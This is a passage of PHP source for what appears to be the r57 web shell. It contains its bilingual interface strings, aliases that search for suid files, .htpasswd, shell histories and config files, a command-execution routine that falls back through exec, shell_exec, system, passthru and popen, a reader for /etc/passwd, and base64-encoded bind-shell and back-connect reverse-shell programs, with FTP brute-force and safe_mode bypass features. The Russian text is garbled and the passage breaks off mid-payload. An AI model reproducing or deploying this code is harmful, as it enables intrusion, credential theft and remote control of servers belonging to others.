  666. 'ru_text55'=>'?????? ? ??????',
  667. 'ru_text56'=>'?????? ?? ???????',
  668. 'ru_text57'=>'???????/??????? ????/??????????',
  669. 'ru_text58'=>'???',
  670. 'ru_text59'=>'????',
  671. 'ru_text60'=>'??????????',
  672. 'ru_butt13'=>'???????/???????',
  673. 'ru_text61'=>'???? ??????',
  674. 'ru_text62'=>'?????????? ???????',
  675. 'ru_text63'=>'???? ??????',
  676. 'ru_text64'=>'?????????? ???????',
  677. 'ru_text65'=>'???????',
  678. 'ru_text66'=>'???????',
  679. 'ru_text67'=>'Chown/Chgrp/Chmod',
  680. 'ru_text68'=>'???????',
  681. 'ru_text69'=>'????????1',
  682. 'ru_text70'=>'????????2',
  683. 'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
  684. 'ru_text72'=>'????? ??? ??????',
  685. 'ru_text73'=>'?????? ? ?????',
  686. 'ru_text74'=>'?????? ? ??????',
  687. 'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
  688. 'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
  689. 'ru_text77'=>'???????? ????????? ???? ??????',
  690. 'ru_text78'=>'?????????? ???????',
  691. 'ru_text79'=>'?????????? ???????',
  692. 'ru_text80'=>'???',
  693. 'ru_text81'=>'????',
  694. 'ru_text82'=>'???? ??????',
  695. 'ru_text83'=>'?????????? SQL ???????',
  696. 'ru_text84'=>'SQL ??????',
  697. 'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
  698. 'ru_text86'=>'?????????? ????? ? ???????',
  699. 'ru_butt14'=>'???????',
  700. 'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????',
  701. 'ru_text88'=>'FTP-??????:????',
  702. 'ru_text89'=>'???? ?? ftp ???????',
  703. 'ru_text90'=>'????? ????????',
  704. 'ru_text91'=>'???????????? ?',
  705. 'ru_text92'=>'??? ?????????',
  706. 'ru_text93'=>'FTP',
  707. 'ru_text94'=>'FTP-????????',
  708. 'ru_text95'=>'?????? ?????????????',
  709. 'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
  710. 'ru_text97'=>'????????? ??????????: ',
  711. 'ru_text98'=>'??????? ???????????: ',
  712. 'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
  713. 'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
  714. 'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
  715. 'ru_text102'=>'?????',
  716. 'ru_text103'=>'???????? ??????',
  717. 'ru_text104'=>'???????? ????? ?? ???????? ????',
  718. 'ru_text105'=>'????',
  719. 'ru_text106'=>'??',
  720. 'ru_text107'=>'????',
  721. 'ru_butt15'=>'?????????',
  722. 'ru_text108'=>'????? ??????',
  723. 'ru_text109'=>'????????',
  724. 'ru_text110'=>'??????????',
  725. /* --------------------------------------------------------------- */
  726. 'eng_text1' =>'Executed command',
  727. 'eng_text2' =>'Execute command on server',
  728. 'eng_text3' =>'Run command',
  729. 'eng_text4' =>'Work directory',
  730. 'eng_text5' =>'Upload files on server',
  731. 'eng_text6' =>'Local file',
  732. 'eng_text7' =>'Aliases',
  733. 'eng_text8' =>'Select alias',
  734. 'eng_butt1' =>'Execute',
  735. 'eng_butt2' =>'Upload',
  736. 'eng_text9' =>'Bind port to /bin/bash',
  737. 'eng_text10'=>'Port',
  738. 'eng_text11'=>'Password for access',
  739. 'eng_butt3' =>'Bind',
  740. 'eng_text12'=>'back-connect',
  741. 'eng_text13'=>'IP',
  742. 'eng_text14'=>'Port',
  743. 'eng_butt4' =>'Connect',
  744. 'eng_text15'=>'Upload files from remote server',
  745. 'eng_text16'=>'With',
  746. 'eng_text17'=>'Remote file',
  747. 'eng_text18'=>'Local file',
  748. 'eng_text19'=>'Exploits',
  749. 'eng_text20'=>'Use',
  750. 'eng_text21'=>'&nbsp;New name',
  751. 'eng_text22'=>'datapipe',
  752. 'eng_text23'=>'Local port',
  753. 'eng_text24'=>'Remote host',
  754. 'eng_text25'=>'Remote port',
  755. 'eng_text26'=>'Use',
  756. 'eng_butt5' =>'Run',
  757. 'eng_text28'=>'Work in safe_mode',
  758. 'eng_text29'=>'ACCESS DENIED',
  759. 'eng_butt6' =>'Change',
  760. 'eng_text30'=>'Cat file',
  761. 'eng_butt7' =>'Show',
  762. 'eng_text31'=>'File not found',
  763. 'eng_text32'=>'Eval PHP code',
  764. 'eng_text33'=>'Test bypass open_basedir with cURL functions',
  765. 'eng_butt8' =>'Test',
  766. 'eng_text34'=>'Test bypass safe_mode with include function',
  767. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  768. 'eng_text36'=>'Database',
  769. 'eng_text37'=>'Login',
  770. 'eng_text38'=>'Password',
  771. 'eng_text39'=>'Table',
  772. 'eng_text40'=>'Dump database table',
  773. 'eng_butt9' =>'Dump',
  774. 'eng_text41'=>'Save dump in file',
  775. 'eng_text42'=>'Edit files',
  776. 'eng_text43'=>'File for edit',
  777. 'eng_butt10'=>'Save',
  778. 'eng_text44'=>'Can\'t edit file! Only read access!',
  779. 'eng_text45'=>'File saved',
  780. 'eng_text46'=>'Show phpinfo()',
  781. 'eng_text47'=>'Show variables from php.ini',
  782. 'eng_text48'=>'Delete temp files',
  783. 'eng_butt11'=>'Edit file',
  784. 'eng_text49'=>'Delete script from server',
  785. 'eng_text50'=>'View cpu info',
  786. 'eng_text51'=>'View memory info',
  787. 'eng_text52'=>'Find text',
  788. 'eng_text53'=>'In dirs',
  789. 'eng_text54'=>'Find text in files',
  790. 'eng_butt12'=>'Find',
  791. 'eng_text55'=>'Only in files',
  792. 'eng_text56'=>'Nothing :(',
  793. 'eng_text57'=>'Create/Delete File/Dir',
  794. 'eng_text58'=>'name',
  795. 'eng_text59'=>'file',
  796. 'eng_text60'=>'dir',
  797. 'eng_butt13'=>'Create/Delete',
  798. 'eng_text61'=>'File created',
  799. 'eng_text62'=>'Dir created',
  800. 'eng_text63'=>'File deleted',
  801. 'eng_text64'=>'Dir deleted',
  802. 'eng_text65'=>'Create',
  803. 'eng_text66'=>'Delete',
  804. 'eng_text67'=>'Chown/Chgrp/Chmod',
  805. 'eng_text68'=>'Command',
  806. 'eng_text69'=>'param1',
  807. 'eng_text70'=>'param2',
  808. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  809. 'eng_text72'=>'Text for find',
  810. 'eng_text73'=>'Find in folder',
  811. 'eng_text74'=>'Find in files',
  812. 'eng_text75'=>'* you can use regexp',
  813. 'eng_text76'=>'Search text in files via find',
  814. 'eng_text77'=>'Show database structure',
  815. 'eng_text78'=>'show tables',
  816. 'eng_text79'=>'show columns',
  817. 'eng_text80'=>'Type',
  818. 'eng_text81'=>'Net',
  819. 'eng_text82'=>'Databases',
  820. 'eng_text83'=>'Run SQL query',
  821. 'eng_text84'=>'SQL query',
  822. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  823. 'eng_text86'=>'Download files from server',
  824. 'eng_butt14'=>'Download',
  825. 'eng_text87'=>'Download files from remote ftp-server',
  826. 'eng_text88'=>'FTP-server:port',
  827. 'eng_text89'=>'File on ftp',
  828. 'eng_text90'=>'Transfer mode',
  829. 'eng_text91'=>'Archivation',
  830. 'eng_text92'=>'without archivation',
  831. 'eng_text93'=>'FTP',
  832. 'eng_text94'=>'FTP-bruteforce',
  833. 'eng_text95'=>'Users list',
  834. 'eng_text96'=>'Can\'t get users list',
  835. 'eng_text97'=>'checked: ',
  836. 'eng_text98'=>'success: ',
  837. 'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
  838. 'eng_text100'=>'Send file to remote ftp server',
  839. 'eng_text101'=>'Use reverse (user -> resu) login for password',
  840. 'eng_text102'=>'Mail',
  841. 'eng_text103'=>'Send email',
  842. 'eng_text104'=>'Send file to email',
  843. 'eng_text105'=>'To',
  844. 'eng_text106'=>'From',
  845. 'eng_text107'=>'Subj',
  846. 'eng_butt15'=>'Send',
  847. 'eng_text108'=>'Mail',
  848. 'eng_text109'=>'Hide',
  849. 'eng_text110'=>'Show',
  850. );
  851. /*
  852. ?????? ??????
  853. ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
  854. ?? ?????? ???? ????????? ??? ???????? ???????.
  855. */
  856. $aliases=array(
  857. 'find suid files'=>'find / -type f -perm -04000 -ls',
  858. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
  859. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  860. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
  861. 'find config.inc.php files'=>'find / -type f -name config.inc.php',
  862. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
  863. 'find config* files'=>'find / -type f -name "config*"',
  864. 'find config* files in current dir'=>'find . -type f -name "config*"',
  865. 'find all writable files'=>'find / -type f -perm -2 -ls',
  866. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  867. 'find all writable directories'=>'find /  -type d -perm -2 -ls',
  868. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  869. 'find all writable directories and files'=>'find / -perm -2 -ls',
  870. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  871. 'find all service.pwd files'=>'find / -type f -name service.pwd',
  872. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
  873. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',
  874. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
  875. 'find all .bash_history files'=>'find / -type f -name .bash_history',
  876. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
  877. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',
  878. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
  879. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
  880. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
  881. 'list file attributes on a Linux second extended file system'=>'lsattr -va',
  882. 'show opened ports'=>'netstat -an | grep -i listen',
  883. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  884. );
  885. $table_up1  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
  886. $table_up2  = " ::</div></b></font></td></tr><tr><td>";
  887. $table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
  888. $table_end1 = "</td></tr>";
  889. $arrow = " <font face=Wingdings color=gray>?</font>";
  890. $lb = "<font color=black>[</font>";
  891. $rb = "<font color=black>]</font>";
  892. $font = "<font face=Verdana size=-2>";
  893. $ts = "<table class=table1 width=100% align=center>";
  894. $te = "</table>";
  895. $fs = "<form name=form method=POST>";
  896. $fe = "</form>";
  897.  
  898. if(isset($_GET['users']))
  899.  {
  900.  if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  901.  else
  902.   {
  903.   echo '<center>';
  904.   foreach($users as $user) { echo $user."<br>"; }
  905.   echo '</center>';
  906.   }
  907.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  908.  }
  909.  
  910. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  911. $dir = @getcwd();
  912. $windows = 0;
  913. $unix = 0;
  914. if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
  915. if(empty($dir))
  916.  {
  917.  $os = getenv('OS');
  918.  if(empty($os)){ $os = php_uname(); }
  919.  if(empty($os)){ $os ="-"; $unix=1; }
  920.  else
  921.     {
  922.     if(@eregi("^win",$os)) { $windows = 1; }
  923.     else { $unix = 1; }
  924.     }
  925.  }
  926. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  927.   {
  928.     echo $head;
  929.     if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  930.     else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  931.     $sr->SearchText(0,0);
  932.     $res = $sr->GetResultFiles();
  933.     $found = $sr->GetMatchesCount();
  934.     $titles = $sr->GetTitles();
  935.     $r = "";
  936.     if($found > 0)
  937.     {
  938.       $r .= "<TABLE width=100%>";
  939.       foreach($res as $file=>$v)
  940.       {
  941.         $r .= "<TR>";
  942.         $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
  943.         $r .= ($windows)? str_replace("/","\\",$file) : $file;
  944.         $r .= "</b></font></ TD>";
  945.         $r .= "</TR>";
  946.         foreach($v as $a=>$b)
  947.         {
  948.           $r .= "<TR>";
  949.           $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  950.           $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  951.           $r .= "</TR>\n";
  952.         }
  953.       }
  954.       $r .= "</TABLE>";
  955.     echo $r;
  956.     }
  957.     else
  958.     {
  959.       echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  960.     }
  961.   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  962.   die();
  963.   }                                                          
  964. if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  965. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  966. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  967. function ws($i)
  968. {
  969. return @str_repeat("&nbsp;",$i);
  970. }
  971. function ex($cfe)
  972. {
  973.  $res = '';
  974.  if (!empty($cfe))
  975.  {
  976.   if(function_exists('exec'))
  977.    {
  978.     @exec($cfe,$res);
  979.     $res = join("\n",$res);
  980.    }
  981.   elseif(function_exists('shell_exec'))
  982.    {
  983.     $res = @shell_exec($cfe);
  984.    }
  985.   elseif(function_exists('system'))
  986.    {
  987.     @ob_start();
  988.     @system($cfe);
  989.     $res = @ob_get_contents();
  990.     @ob_end_clean();
  991.    }
  992.   elseif(function_exists('passthru'))
  993.    {
  994.     @ob_start();
  995.     @passthru($cfe);
  996.     $res = @ob_get_contents();
  997.     @ob_end_clean();
  998.    }
  999.   elseif(@is_resource($f = @popen($cfe,"r")))
  1000.   {
  1001.    $res = "";
  1002.    while(!@feof($f)) { $res .= @fread($f,1024); }
  1003.    @pclose($f);
  1004.   }
  1005.  }
  1006.  return $res;
  1007. }
  1008. function get_users()
  1009. {
  1010.   $users = array();
  1011.   $rows=file('/etc/passwd');
  1012.   if(!$rows) return 0; 
  1013.   foreach ($rows as $string)
  1014.    {
  1015.         $user = @explode(":",$string);
  1016.         if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1017.    }
  1018.   return $users;        
  1019. }
  1020. function we($i)
  1021. {
  1022. if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; }
  1023. else { $text = "[-] ERROR! Can't write in file "; }
  1024. echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1025. return null;
  1026. }
  1027. function re($i)
  1028. {
  1029. if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; }
  1030. else { $text = "[-] ERROR! Can't read file "; }
  1031. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1032. return null;
  1033. }
  1034. function ce($i)
  1035. {
  1036. if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; }
  1037. else { $text = "Can't create "; }
  1038. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1039. return null;
  1040. }
  1041. function fe($l,$n)
  1042. {
  1043. $text['ru']  = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????');
  1044. $text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server');   
  1045. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
  1046. return null;
  1047. }
  1048. function mr($l,$n)
  1049. {
  1050. $text['ru']  = array('?? ??????? ????????? ??????','?????? ??????????');
  1051. $text['eng'] = array('Can\'t send mail','Mail sent');  
  1052. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
  1053. return null;
  1054. }
  1055. function perms($mode)
  1056. {
  1057. if ($GLOBALS['windows']) return 0;
  1058. if( $mode & 0x1000 ) { $type='p'; }
  1059. else if( $mode & 0x2000 ) { $type='c'; }
  1060. else if( $mode & 0x4000 ) { $type='d'; }
  1061. else if( $mode & 0x6000 ) { $type='b'; }
  1062. else if( $mode & 0x8000 ) { $type='-'; }
  1063. else if( $mode & 0xA000 ) { $type='l'; }
  1064. else if( $mode & 0xC000 ) { $type='s'; }
  1065. else $type='u';
  1066. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1067. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1068. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1069. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1070. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1071. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1072. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1073. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1074. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1075. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1076. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1077. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1078. $s=sprintf("%1s", $type);
  1079. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1080. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1081. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1082. return trim($s);
  1083. }
  1084. function in($type,$name,$size,$value)
  1085. {
  1086.  $ret = "<input type=".$type." name=".$name." ";
  1087.  if($size != 0) { $ret .= "size=".$size." "; }
  1088.  $ret .= "value=\"".$value."\">";
  1089.  return $ret;
  1090. }
  1091. function which($pr)
  1092. {
  1093. $path = ex("which $pr");
  1094. if(!empty($path)) { return $path; } else { return $pr; }
  1095. }
  1096. function cf($fname,$text)
  1097. {
  1098.  $w_file=@fopen($fname,"w") or we($fname);
  1099.  if($w_file)
  1100.  {
  1101.  @fputs($w_file,@base64_decode($text));
  1102.  @fclose($w_file);
  1103.  }
  1104. }
  1105. function sr($l,$t1,$t2)
  1106.  {
  1107.  return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1108.  }     
  1109. if (!@function_exists("view_size"))
  1110. {
  1111. function view_size($size)
  1112. {
  1113.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1114.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1115.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1116.  else {$size = $size . " B";}
  1117.  return $size;
  1118. }
  1119. }
  1120. function DirFiles($dir,$types='')
  1121.   {
  1122.     $files = Array();
  1123.     if(($handle = @opendir($dir)))
  1124.     {
  1125.       while (FALSE !== ($file = @readdir($handle)))
  1126.       {
  1127.         if ($file != "." && $file != "..")
  1128.         {
  1129.           if(!is_dir($dir."/".$file))
  1130.           {
  1131.             if($types)
  1132.             {
  1133.               $pos = @strrpos($file,".");
  1134.               $ext = @substr($file,$pos,@strlen($file)-$pos);
  1135.               if(@in_array($ext,@explode(';',$types)))
  1136.                 $files[] = $dir."/".$file;
  1137.             }
  1138.             else
  1139.               $files[] = $dir."/".$file;
  1140.           }
  1141.         }
  1142.       }
  1143.       @closedir($handle);
  1144.     }
  1145.     return $files;
  1146.   }
  1147.   function DirFilesWide($dir)
  1148.   {
  1149.     $files = Array();
  1150.     $dirs = Array();
  1151.     if(($handle = @opendir($dir)))
  1152.     {
  1153.       while (false !== ($file = @readdir($handle)))
  1154.       {
  1155.         if ($file != "." && $file != "..")
  1156.         {
  1157.           if(@is_dir($dir."/".$file))
  1158.           {
  1159.             $file = @strtoupper($file);
  1160.             $dirs[$file] = '&lt;DIR&gt;';
  1161.           }
  1162.           else
  1163.             $files[$file] = @filesize($dir."/".$file);
  1164.         }
  1165.       }
  1166.       @closedir($handle);
  1167.       @ksort($dirs);
  1168.       @ksort($files);
  1169.       $files = @array_merge($dirs,$files);
  1170.     }
  1171.     return $files;
  1172.   }
  1173.   function DirFilesR($dir,$types='')
  1174.   {
  1175.     $files = Array();
  1176.     if(($handle = @opendir($dir)))
  1177.     {
  1178.       while (false !== ($file = @readdir($handle)))
  1179.       {
  1180.         if ($file != "." && $file != "..")
  1181.         {
  1182.           if(@is_dir($dir."/".$file))
  1183.             $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1184.           else
  1185.           {
  1186.             $pos = @strrpos($file,".");
  1187.             $ext = @substr($file,$pos,@strlen($file)-$pos);
  1188.             if($types)
  1189.             {
  1190.               if(@in_array($ext,explode(';',$types)))
  1191.                 $files[] = $dir."/".$file;
  1192.             }
  1193.             else
  1194.               $files[] = $dir."/".$file;
  1195.           }
  1196.         }
  1197.       }
  1198.       @closedir($handle);
  1199.     }
  1200.     return $files;
  1201.   }
  1202.   function DirPrintHTMLHeaders($dir)
  1203.   {
  1204.     $pockets = '';
  1205.         $handle = @opendir($dir) or die("Can't open directory $dir");
  1206.     echo "    <ul style='margin-left: 0px; padding-left: 20px;'>\n";
  1207.     while (false !== ($file = @readdir($handle)))
  1208.     {
  1209.       if ($file != "." && $file != "..")
  1210.       {
  1211.         if(@is_dir($dir."/".$file))
  1212.         {
  1213.           echo "      <li><b>[ $file ]</b></li>\n";
  1214.           DirPrintHTMLHeaders($dir."/".$file);
  1215.         }
  1216.         else
  1217.         {
  1218.           $pos = @strrpos($file,".");
  1219.           $ext = @substr($file,$pos,@strlen($file)-$pos);
  1220.           if(@in_array($ext,array('.htm','.html')))
  1221.           {
  1222.             $header = '-=None=-';
  1223.             $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
  1224.             for($a=0;$a<count($strings);$a++)
  1225.             {
  1226.               $pattern = '(<title>(.+)</title>)';
  1227.               if(@eregi($pattern,$strings[$a],$pockets))
  1228.               {
  1229.                 $header = "&laquo;".$pockets[2]."&raquo;";
  1230.                 break;
  1231.               }
  1232.             }
  1233.             echo "      <li>".$header."</li>\n";
  1234.           }
  1235.         }
  1236.       }
  1237.     }
  1238.     echo "    </ul>\n";
  1239.     @closedir($handle);
  1240.   }
  1241.  
  1242.   class SearchResult
  1243.   {
  1244.     var $text;
  1245.     var $FilesToSearch;
  1246.     var $ResultFiles;
  1247.     var $FilesTotal;
  1248.     var $MatchesCount;
  1249.     var $FileMatschesCount;
  1250.     var $TimeStart;
  1251.     var $TimeTotal;
  1252.     var $titles;
  1253.     function SearchResult($dir,$text,$filter='')
  1254.     {
  1255.       $dirs = @explode(";",$dir);
  1256.       $this->FilesToSearch = Array();
  1257.       for($a=0;$a<count($dirs);$a++)
  1258.         $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1259.       $this->text = $text;
  1260.       $this->FilesTotal = @count($this->FilesToSearch);
  1261.       $this->TimeStart = getmicrotime();
  1262.       $this->MatchesCount = 0;
  1263.       $this->ResultFiles = Array();
  1264.       $this->FileMatchesCount = Array();
  1265.       $this->titles = Array();
  1266.     }
  1267.     function GetFilesTotal() { return $this->FilesTotal; }
  1268.     function GetTitles() { return $this->titles; }
  1269.     function GetTimeTotal() { return $this->TimeTotal; }
  1270.     function GetMatchesCount() { return $this->MatchesCount; }
  1271.     function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1272.     function GetResultFiles() { return $this->ResultFiles; }
  1273.     function SearchText($phrase=0,$case=0) {
  1274.     $qq = @explode(' ',$this->text);
  1275.     $delim = '|';
  1276.       if($phrase)
  1277.         foreach($qq as $k=>$v)
  1278.           $qq[$k] = '\b'.$v.'\b';
  1279.       $words = '('.@implode($delim,$qq).')';
  1280.       $pattern = "/".$words."/";
  1281.       if(!$case)
  1282.         $pattern .= 'i';
  1283.       foreach($this->FilesToSearch as $k=>$filename)
  1284.       {
  1285.         $this->FileMatchesCount[$filename] = 0;
  1286.         $FileStrings = @file($filename) or @next;
  1287.         for($a=0;$a<@count($FileStrings);$a++)
  1288.         {
  1289.           $count = 0;
  1290.           $CurString = $FileStrings[$a];
  1291.           $CurString = @Trim($CurString);
  1292.           $CurString = @strip_tags($CurString);
  1293.           $aa = '';
  1294.           if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1295.           {
  1296.             $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  1297.             $this->ResultFiles[$filename][$a+1] = $CurString;
  1298.             $this->MatchesCount += $count;
  1299.             $this->FileMatchesCount[$filename] += $count;
  1300.           }
  1301.         }
  1302.       }
  1303.       $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1304.     }
  1305.   }
  1306.   function getmicrotime()
  1307.   {
  1308.     list($usec,$sec) = @explode(" ",@microtime());
  1309.     return ((float)$usec + (float)$sec);
  1310.   }
  1311. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  1312. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1313. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1314. b3RlOw0K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iO2Vj
  1333. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1334. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1335. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1336. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1337. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1338. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1339. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1340. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1341. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1342. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKT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VE9fVENQKSkgPT0gLTEpIHsNC
  1361. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1362. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
